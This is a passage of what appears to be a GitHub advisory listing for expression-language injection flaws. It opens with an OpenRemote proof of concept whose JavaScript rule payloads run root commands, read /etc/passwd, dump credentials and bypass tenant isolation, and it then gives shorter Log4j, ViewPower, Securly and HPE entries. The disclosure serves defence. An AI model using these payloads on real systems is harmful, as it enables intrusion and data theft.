\u0027P@ssw0rd_Internal_2024\u0027\n\nCreate realm \u0027realma\u0027: HTTP 409\n[OK] Direct access grants for \u0027realma\u0027: HTTP 204\n[OK] User \u0027attacker\u0027 in \u0027realma\u0027, ID: 0d137364-b538-45d2-b3b3-33f57d97b9f5\n[OK] Roles assigned: [\u0027read:rules\u0027, \u0027write:assets\u0027, \u0027read:assets\u0027, \u0027write:rules\u0027]\n```\n\nKey point: The attacker user has write:rules role but is NOT a superuser.\n\n##### Step 2: Verify Tenant Isolation Works via Normal API\n```\nAttacker token: eyJhbGciOiJSUzI1NiIsInR5cCIgOiAiSldUIiwia2lkIiA6IC...\n\n[TEST] Normal API: GET /api/realmb/asset (attacker token)\nResult: HTTP 401\n\u003e\u003e Cross-realm API access BLOCKED (expected) \u2014 tenant isolation works via API\n```\n\nConclusion: The REST API correctly blocks Realm A users from accessing Realm B assets. The vulnerability is NOT in the API layer but in the rules engine execution.\n\n##### Step 3: Launch the attack.\n\n- ATTACK 1 \u2014 Remote Code Execution (RCE)\n\nPayload sent (via POST /api/realma/rules/realm with attacker token):\n\n```\nvar Runtime = Java.type(\"java.lang.Runtime\");\nvar Scanner = Java.type(\"java.util.Scanner\");\nvar cmd = Java.to([\"sh\", \"-c\", \"id \u0026\u0026 hostname \u0026\u0026 uname -a\"], \"java.lang.String[]\");\nvar proc = Runtime.getRuntime().exec(cmd);\nproc.waitFor();\nvar s = new Scanner(proc.getInputStream()).useDelimiter(\"\\\\A\");\nvar output = s.hasNext() ? s.next() : \"(empty)\";\nLOG.info(\"[EXPLOIT-RCE] Command output: \" + output);\nvar rules = [];\n```\n\nAPI response: HTTP 200 (rule accepted and deployed)\n\nServer log evidence (captured from docker compose logs manager):\n\n```\n2026-03-27T07:17:24.833Z [EXPLOIT-RCE] === REMOTE CODE EXECUTION ===\n2026-03-27T07:17:24.838Z [EXPLOIT-RCE] --- RCE OUTPUT ---\n2026-03-27T07:17:24.838Z [EXPLOIT-RCE] uid=0(root) gid=0(root) groups=0(root)\n```\n\nImpact: The attacker\u0027s JavaScript rule executed id on the server and confirmed the process runs as root (uid=0). The attacker can execute any OS command with root privileges.\n\n- ATTACK 2 \u2014 Arbitrary File Read (/etc/passwd)\nPayload:\n\n```\nvar Files = Java.type(\"java.nio.file.Files\");\nvar Paths = Java.type(\"java.nio.file.Paths\");\nvar lines = Files.readAllLines(Paths.get(\"/etc/passwd\"));\nLOG.info(\"[EXPLOIT-FILE] /etc/passwd has \" + lines.size() + \" lines:\");\nfor (var i = 0; i \u003c lines.size(); i++) {\n  LOG.info(\"[EXPLOIT-FILE]   \" + lines.get(i));\n}\nvar rules = [];\n```\nAPI response: HTTP 200\nServer log evidence:\n\n- ATTACK 3 \u2014 Environment Variable Theft (Database Credentials)\n\n**Payload:**\n```javascript\nvar System = Java.type(\"java.lang.System\");\nvar env = System.getenv();\nLOG.info(\"[EXPLOIT-ENV] === ENVIRONMENT VARIABLE THEFT ===\");\nvar keys = [\"OR_DB_HOST\",\"OR_DB_PORT\",\"OR_DB_NAME\",\"OR_DB_USER\",\"OR_DB_PASSWORD\",\n            \"KEYCLOAK_ADMIN_PASSWORD\",\"OR_ADMIN_PASSWORD\",\"OR_HOSTNAME\",\"JAVA_HOME\"];\nfor (var i = 0; i \u003c keys.length; i++) {\n  var v = env.get(keys[i]);\n  if (v != null) LOG.info(\"[EXPLOIT-ENV] \" + keys[i] + \" = \" + v);\n}\nvar rules = [];\n```\n\n**API response**: `HTTP 200`\n\n**Server log evidence** (key variables extracted):\n```\n2026-03-27T07:17:45.069Z [EXPLOIT-ENV] OR_DB_HOST = postgresql\n2026-03-27T07:17:45.069Z [EXPLOIT-ENV] OR_DB_PORT = 5432\n2026-03-27T07:17:45.069Z [EXPLOIT-ENV] OR_DB_NAME = openremote\n2026-03-27T07:17:45.070Z [EXPLOIT-ENV] OR_DB_USER = postgres\n2026-03-27T07:17:45.070Z [EXPLOIT-ENV] OR_HOSTNAME = localhost\n2026-03-27T07:17:45.070Z [EXPLOIT-ENV] JAVA_HOME = /usr/lib/jvm/jre\n2026-03-27T07:17:45.087Z [EXPLOIT-ENV] OR_KEYCLOAK_HOST = keycloak\n2026-03-27T07:17:45.087Z [EXPLOIT-ENV] OR_KEYCLOAK_PORT = 8080\n2026-03-27T07:17:45.087Z [EXPLOIT-ENV] OR_STORAGE_DIR = /storage\n2026-03-27T07:17:45.087Z [EXPLOIT-ENV] OR_WEBSERVER_LISTEN_HOST = 0.0.0.0\n2026-03-27T07:17:45.088Z [EXPLOIT-ENV] OR_DB_POOL_MAX_SIZE = 20\n2026-03-27T07:17:45.088Z [EXPLOIT-ENV] OR_DEV_MODE = false\n2026-03-27T07:17:45.086Z [EXPLOIT-ENV] OR_FIREBASE_CONFIG_FILE = /deployment/manager/fcm.json\n2026-03-27T07:17:45.086Z [EXPLOIT-ENV] OR_EMAIL_PORT = 587\n```\n\n**Impact**: Database connection details, internal hostnames, Keycloak configuration, and more are fully exposed. An attacker could use these to directly connect to the PostgreSQL database or attack other internal services.\n\n---\n\n- ATTACK 4 \u2014 Cross-Realm Data Theft (Bypass Multi-Tenant Isolation)\n\nThis is the most critical attack: a user in Realm A steals all data from Realm B by bypassing the `AssetsFacade` realm enforcement via Java reflection.\n\n**Attack mechanism:**\n1. The `assets` object bound into JavaScript is an `AssetsFacade` instance\n2. `AssetsFacade.getResults()` enforces realm isolation by overwriting `assetQuery.realm`\n3. The attacker uses Java reflection to extract the internal `assetStorageService` field\n4. Calls `assetStorageService.findAll()` directly, bypassing realm restriction AND `excludeAttributes()`\n\n**Payload:**\n```javascript\n// Extract internal AssetStorageService via reflection\nvar facadeObj = assets;\nvar clazz = facadeObj.getClass();\nvar storageField = clazz.getDeclaredField(\"assetStorageService\");\nstorageField.setAccessible(true);\nvar storageService = storageField.get(facadeObj);\n\n// Query Realm B directly \u2014 bypassing facade realm enforcement\nvar AssetQuery = Java.type(\"org.openremote.model.query.AssetQuery\");\nvar RealmPredicate = Java.type(\"org.openremote.model.query.filter.RealmPredicate\");\nvar q = new AssetQuery();\nq.realm = new RealmPredicate(\"realmb\");\nvar stolenAssets = storageService.findAll(q);\n// Iterate and dump all attribute values...\nvar rules = [];\n```\n\n**API response**: `HTTP 200`\n\n**Server log evidence \u2014 Stolen data from Realm B:**\n```\n2026-03-27T07:17:55.151Z [EXPLOIT-XREALM] === CROSS-REALM DATA THEFT ===\n2026-03-27T07:17:55.151Z [EXPLOIT-XREALM] Attacker realm: realma\n2026-03-27T07:17:55.151Z [EXPLOIT-XREALM] Target realm:   realmb\n2026-03-27T07:17:55.162Z [EXPLOIT-XREALM] Facade class: org.openremote.manager.rules.facade.AssetsFacade\n2026-03-27T07:17:55.190Z [EXPLOIT-XREALM] Got AssetStorageService: org.openremote.manager.asset.AssetStorageService\n2026-03-27T07:17:55.199Z [EXPLOIT-XREALM] Found 2 assets in realm \u0027realmb\u0027\n2026-03-27T07:17:55.207Z [EXPLOIT-XREALM] STOLEN Asset: name=SecretSensorB, id=3eZKswGIALiGAqeEPdnH3t, type=ThingAsset\n2026-03-27T07:17:55.228Z [EXPLOIT-XREALM]   STOLEN ATTR: notes = Internal sensor - classified\n2026-03-27T07:17:55.229Z [EXPLOIT-XREALM]   STOLEN ATTR: apiKey = sk-realmB-api-key-very-secret\n2026-03-27T07:17:55.230Z [EXPLOIT-XREALM]   STOLEN ATTR: location = GeoJSONPoint{coordinates=5.46, 51.44, NaN}\n2026-03-27T07:17:55.230Z [EXPLOIT-XREALM]   STOLEN ATTR: internalPassword = P@ssw0rd_Internal_2024\n2026-03-27T07:17:55.230Z [EXPLOIT-XREALM]   STOLEN ATTR: secretData = REALM_B_CONFIDENTIAL_DATA_67890\n```\n\n**Cross-realm enumeration \u2014 all assets across all realms:**\n```\n2026-03-27T07:17:55.236Z [EXPLOIT-XREALM] Total assets across ALL realms: 5\n2026-03-27T07:17:55.236Z [EXPLOIT-XREALM] ALL-REALM Asset: realm=master, name=TestAsset, id=5pVko8DN...\n2026-03-27T07:17:55.236Z [EXPLOIT-XREALM] ALL-REALM Asset: realm=master, name=TestAsset, id=4zfyoaiL...\n2026-03-27T07:17:55.236Z [EXPLOIT-XREALM] ALL-REALM Asset: realm=master, name=TestMasterAsset, id=3vqFI9kI...\n2026-03-27T07:17:55.237Z [EXPLOIT-XREALM] ALL-REALM Asset: realm=realmb, name=SecretSensorB, id=3eZKswGI...\n2026-03-27T07:17:55.237Z [EXPLOIT-XREALM] ALL-REALM Asset: realm=realmb, name=SecretSensorB, id=4cddi4nc...\n```\n\n**Impact**: Complete multi-tenant isolation bypass. Realm A\u0027s non-superuser successfully:\n- Extracted all sensitive attribute values from Realm B (API keys, passwords, confidential data)\n- Enumerated all assets across ALL realms including the `master` realm\n- Bypassed both the realm restriction AND the `excludeAttributes()` protection in `AssetsFacade`\n\n---\n\n- Authorization Bypass Verification\n\nThe same attacker user attempted to create a Groovy rule (which is correctly restricted to superusers):\n\n```\nCreate Groovy rule (same attacker): HTTP 403\n\u003e\u003e Groovy rule REJECTED (HTTP 403) \u2014 as expected for non-superuser\n\u003e\u003e BUT all JavaScript rules were ACCEPTED (HTTP 200) \u2014 THIS IS THE VULNERABILITY!\n```\n\n**Root cause in source code** (`RulesResourceImpl.java:262`):\n```java\n// Only blocks Groovy for non-superusers \u2014 JavaScript is UNRESTRICTED\nif (ruleset.getLang() == Ruleset.Lang.GROOVY \u0026\u0026 !isSuperUser()) {\n    throw new ForbiddenException(\"Forbidden\");\n}\n// No check for Lang.JAVASCRIPT!\n```\n\n### Impact\n\nRemote code execution.",
  "id": "GHSA-7mqr-33rv-p3mp",
  "modified": "2026-04-24T20:43:16Z",
  "published": "2026-04-14T22:31:36Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/openremote/openremote/security/advisories/GHSA-7mqr-33rv-p3mp"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-39842"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/openremote/openremote"
    },
    {
      "type": "WEB",
      "url": "https://github.com/openremote/openremote/releases/tag/1.22.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Expression Injection in OpenRemote"
}

GHSA-7RJR-3Q55-VV33

Vulnerability from github – Published: 2021-12-14 18:01 – Updated: 2025-10-22 19:12
VLAI
Summary
Incomplete fix for Apache Log4j vulnerability
Details

Impact

The fix to address CVE-2021-44228 in Apache Log4j 2.15.0 was incomplete in certain non-default configurations. This could allow attackers with control over Thread Context Map (MDC) input data when the logging configuration uses a non-default Pattern Layout with either a Context Lookup (for example, $${ctx:loginId}) or a Thread Context Map pattern (%X, %mdc, or %MDC) to craft malicious input data using a JNDI Lookup pattern resulting in a remote code execution (RCE) attack.

Affected packages

Only the org.apache.logging.log4j:log4j-core package is directly affected by this vulnerability. The org.apache.logging.log4j:log4j-api should be kept at the same version as the org.apache.logging.log4j:log4j-core package to ensure compatability if in use.

Mitigation

Log4j 2.16.0 fixes this issue by removing support for message lookup patterns and disabling JNDI functionality by default. This issue can be mitigated in prior releases (< 2.16.0) by removing the JndiLookup class from the classpath (example: zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class).

Log4j 2.15.0 restricts JNDI LDAP lookups to localhost by default. Note that previous mitigations involving configuration such as to set the system property log4j2.formatMsgNoLookups to true do NOT mitigate this specific vulnerability.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.apache.logging.log4j:log4j-core"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.13.0"
            },
            {
              "fixed": "2.16.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.apache.logging.log4j:log4j-core"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.12.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.ops4j.pax.logging:pax-logging-log4j2"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.8.0"
            },
            {
              "fixed": "1.9.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.ops4j.pax.logging:pax-logging-log4j2"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.10.0"
            },
            {
              "fixed": "1.10.8"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.ops4j.pax.logging:pax-logging-log4j2"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.11.0"
            },
            {
              "fixed": "1.11.11"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.ops4j.pax.logging:pax-logging-log4j2"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.0.0"
            },
            {
              "fixed": "2.0.12"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2021-45046"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-502",
      "CWE-917"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2021-12-14T17:55:00Z",
    "nvd_published_at": "2021-12-14T19:15:00Z",
    "severity": "CRITICAL"
  },
  "details": "# Impact\n\nThe fix to address [CVE-2021-44228](https://nvd.nist.gov/vuln/detail/CVE-2021-44228) in Apache Log4j 2.15.0 was incomplete in certain non-default configurations. This could allow attackers with control over Thread Context Map (MDC) input data when the logging configuration uses a non-default Pattern Layout with either a Context Lookup (for example, $${ctx:loginId}) or a Thread Context Map pattern (%X, %mdc, or %MDC) to craft malicious input data using a JNDI Lookup pattern resulting in a remote code execution (RCE) attack. \n\n## Affected packages\nOnly the `org.apache.logging.log4j:log4j-core` package is directly affected by this vulnerability. The `org.apache.logging.log4j:log4j-api` should be kept at the same version as the `org.apache.logging.log4j:log4j-core` package to ensure compatability if in use.\n\n# Mitigation\n\nLog4j 2.16.0 fixes this issue by removing support for message lookup patterns and disabling JNDI functionality by default. This issue can be mitigated in prior releases (\u003c 2.16.0) by removing the JndiLookup class from the classpath (example: zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class).\n\nLog4j 2.15.0 restricts JNDI LDAP lookups to localhost by default. Note that previous mitigations involving configuration such as to set the system property `log4j2.formatMsgNoLookups` to `true` do NOT mitigate this specific vulnerability.",
  "id": "GHSA-7rjr-3q55-vv33",
  "modified": "2025-10-22T19:12:17Z",
  "published": "2021-12-14T18:01:28Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-45046"
    },
    {
      "type": "WEB",
      "url": "https://www.oracle.com/security-alerts/cpujul2022.html"
    },
    {
      "type": "WEB",
      "url": "https://www.oracle.com/security-alerts/cpujan2022.html"
    },
    {
      "type": "WEB",
      "url": "https://www.oracle.com/security-alerts/cpuapr2022.html"
    },
    {
      "type": "WEB",
      "url": "https://www.oracle.com/security-alerts/alert-cve-2021-44228.html"
    },
    {
      "type": "WEB",
      "url": "https://www.openwall.com/lists/oss-security/2021/12/14/4"
    },
    {
      "type": "WEB",
      "url": "https://www.kb.cert.org/vuls/id/930724"
    },
    {
      "type": "WEB",
      "url": "https://www.intel.com/content/www/us/en/security-center/advisory/intel-sa-00646.html"
    },
    {
      "type": "WEB",
      "url": "https://www.debian.org/security/2021/dsa-5022"
    },
    {
      "type": "WEB",
      "url": "https://www.cve.org/CVERecord?id=CVE-2021-44228"
    },
    {
      "type": "WEB",
      "url": "https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2021-45046"
    },
    {
      "type": "WEB",
      "url": "https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-apache-log4j-qRuKNEbd"
    },
    {
      "type": "WEB",
      "url": "https://security.gentoo.org/glsa/202310-16"
    },
    {
      "type": "WEB",
      "url": "https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-apache-log4j-qRuKNEbd"
    },
    {
      "type": "WEB",
      "url": "https://psirt.global.sonicwall.com/vuln-detail/SNWLID-2021-0032"
    },
    {
      "type": "WEB",
      "url": "https://logging.apache.org/log4j/2.x/security.html"
    },
    {
      "type": "WEB",
      "url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/SIG7FZULMNK2XF6FZRU4VWYDQXNMUGAJ"
    },
    {
      "type": "WEB",
      "url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/EOKPQGV24RRBBI4TBZUDQMM4MEH7MXCY"
    },
    {
      "type": "WEB",
      "url": "https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/SIG7FZULMNK2XF6FZRU4VWYDQXNMUGAJ"
    },
    {
      "type": "WEB",
      "url": "https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/EOKPQGV24RRBBI4TBZUDQMM4MEH7MXCY"
    },
    {
      "type": "ADVISORY",
      "url": "https://github.com/advisories/GHSA-jfh8-c2jp-5v3q"
    },
    {
      "type": "WEB",
      "url": "https://cert-portal.siemens.com/productcert/pdf/ssa-714170.pdf"
    },
    {
      "type": "WEB",
      "url": "https://cert-portal.siemens.com/productcert/pdf/ssa-661247.pdf"
    },
    {
      "type": "WEB",
      "url": "https://cert-portal.siemens.com/productcert/pdf/ssa-479842.pdf"
    },
    {
      "type": "WEB",
      "url": "https://cert-portal.siemens.com/productcert/pdf/ssa-397453.pdf"
    },
    {
      "type": "WEB",
      "url": "http://www.openwall.com/lists/oss-security/2021/12/14/4"
    },
    {
      "type": "WEB",
      "url": "http://www.openwall.com/lists/oss-security/2021/12/15/3"
    },
    {
      "type": "WEB",
      "url": "http://www.openwall.com/lists/oss-security/2021/12/18/1"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H/E:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Incomplete fix for Apache Log4j vulnerability"
}

GHSA-7RV8-7C35-892R

Vulnerability from github – Published: 2024-05-03 03:31 – Updated: 2024-05-03 03:31
VLAI
Details

Voltronic Power ViewPower Pro Expression Language Injection Remote Code Execution Vulnerability. This vulnerability allows remote attackers to execute arbitrary code on affected installations of Voltronic Power ViewPower Pro. Authentication is not required to exploit this vulnerability.

The specific flaw exists within the Struts2 dependency. The issue results from the use of a library that is vulnerable to expression language injection. An attacker can leverage this vulnerability to execute code in the context of LOCAL SERVICE. Was ZDI-CAN-22095.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2023-51593"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-917"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-05-03T03:16:19Z",
    "severity": "CRITICAL"
  },
  "details": "Voltronic Power ViewPower Pro Expression Language Injection Remote Code Execution Vulnerability. This vulnerability allows remote attackers to execute arbitrary code on affected installations of Voltronic Power ViewPower Pro. Authentication is not required to exploit this vulnerability.\n\nThe specific flaw exists within the Struts2 dependency. The issue results from the use of a library that is vulnerable to expression language injection. An attacker can leverage this vulnerability to execute code in the context of LOCAL SERVICE. Was ZDI-CAN-22095.",
  "id": "GHSA-7rv8-7c35-892r",
  "modified": "2024-05-03T03:31:07Z",
  "published": "2024-05-03T03:31:07Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-51593"
    },
    {
      "type": "WEB",
      "url": "https://www.zerodayinitiative.com/advisories/ZDI-23-1896"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-7W3M-2PW9-MG8X

Vulnerability from github – Published: 2026-06-03 21:30 – Updated: 2026-06-04 21:31
VLAI
Details

Version 3.0.7 of the Securly Chrome Extension downloads config.json over HTTP and compiles server-provided patterns as JavaScript regular expressions via new RegExp() without complexity validation. An on-path attacker can inject specific patterns to cause catastrophic backtracking, resulting in denial of service on all browsing.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2026-8888"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1333",
      "CWE-917"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-06-03T19:16:39Z",
    "severity": "HIGH"
  },
  "details": "Version 3.0.7 of the Securly Chrome Extension downloads config.json over HTTP and compiles server-provided patterns as JavaScript regular expressions via new RegExp() without complexity validation. An on-path attacker can inject specific patterns to cause catastrophic backtracking, resulting in denial of service on all browsing.",
  "id": "GHSA-7w3m-2pw9-mg8x",
  "modified": "2026-06-04T21:31:20Z",
  "published": "2026-06-03T21:30:31Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-8888"
    },
    {
      "type": "WEB",
      "url": "https://kb.cert.org/vuls/id/595768"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-825W-9W55-JH8R

Vulnerability from github – Published: 2022-05-24 17:31 – Updated: 2022-05-24 17:31
VLAI
Details

A userselectpagingcontent expression language injection remote code execution vulnerability was discovered in HPE Intelligent Management Center (iMC) version(s): Prior to iMC PLAT 7.3 (E0705P07).

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2020-7188"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-917"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2020-10-19T18:15:00Z",
    "severity": "HIGH"
  },
  "details": "A userselectpagingcontent expression language injection remote code execution vulnerability was discovered in HPE Intelligent Management Center (iMC) version(s): Prior to iMC PLAT 7.3 (E0705P07).",
  "id": "GHSA-825w-9w55-jh8r",
  "modified": "2022-05-24T17:31:20Z",
  "published": "2022-05-24T17:31:20Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2020-7188"
    },
    {
      "type": "WEB",
      "url": "https://support.hpe.com/hpsc/doc/public/display?docLocale=en_US\u0026docId=emr_na-hpesbnw04036en_us"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

Mitigation
Architecture and Design

Avoid adding user-controlled data into an expression interpreter when possible.

Mitigation
Implementation
  • If user-controlled data must be added to an expression interpreter, one or more of the following should be performed:
  • Validate that the user input will not evaluate as an expression
  • Encode the user input in a way that ensures it is not evaluated as an expression
Mitigation
System Configuration Operation

The framework or tooling might allow the developer to disable or deactivate the processing of EL expressions, such as setting the isELIgnored attribute for a JSP page to "true".

No CAPEC attack patterns related to this CWE.